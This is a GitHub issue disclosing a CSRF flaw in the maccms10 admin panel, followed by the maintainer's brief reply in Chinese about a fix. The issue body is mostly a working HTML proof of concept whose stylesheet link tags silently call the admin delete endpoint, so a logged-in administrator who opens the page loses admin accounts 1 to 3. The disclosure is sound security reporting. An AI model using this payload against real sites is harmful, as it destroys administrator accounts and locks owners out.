Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

There is a CSRF vulnerability that can del the administrator account #76

Closed
1979139113 opened this issue Oct 22, 2019 · 1 comment
Closed

Comments

@1979139113
Copy link

After the administrator logged in, open the following page.

POC:

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<link rel="stylesheet" href="http://127.0.0.1/maccms10/admin.php/admin/admin/del/ids/1.html">
<link rel="stylesheet" href="http://127.0.0.1/maccms10/admin.php/admin/admin/del/ids/2.html">
<link rel="stylesheet" href="http://127.0.0.1/maccms10/admin.php/admin/admin/del/ids/3.html">
</body>
</html>

Then administrator users numbered 1, 2, 3 will be deleted.

If the administrators are all deleted, no one can log in.

@magicblack
Copy link
Owner

已经加入了判断禁止删除当前登录账号。

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants